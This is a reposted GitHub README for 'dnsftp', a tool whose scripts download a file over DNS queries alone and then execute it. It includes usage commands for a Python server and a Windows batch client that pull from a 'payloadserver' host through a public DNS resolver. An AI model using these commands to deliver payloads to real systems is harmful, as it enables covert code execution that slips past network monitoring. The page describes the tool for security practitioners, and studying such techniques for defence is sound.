GitHub - breenmachine/dnsftp: Client/Server scripts to transfer files over DNS. Client scripts are small and only use na...
2019-08-10 23:50:03 Author: github.com(查看原文) 阅读量:171 收藏

Join GitHub today

GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.

Sign up

Client/Server scripts to transfer files over DNS. Client scripts are small and only use native tools on the host OS.

Python Batchfile Shell PowerShell

Purpose

Use only DNS queries to download a file, and then execute it.

Usage

On the server hosting the file (tested with python2):

sudo python server.py -f /path/to/file

On the Windows client with batch script:

client\client_batch\runme.bat payloadserverhostname fileparts publicdnsserver

Example: client\client_batch\runme.bat payloadserver.yourdomain.com 42 8.8.8.8

If just testing internally, you can use the following example:

client\client_batch\runme.bat payloadserverhostname fileparts payloadserverIPaddr

Original author: Stephen Breen - https://github.com/breenmachine/dnsftp

Forked and modified by: Daniel Vinakovsky


文章来源: https://github.com/breenmachine/dnsftp
如有侵权请联系:admin#unsafe.sh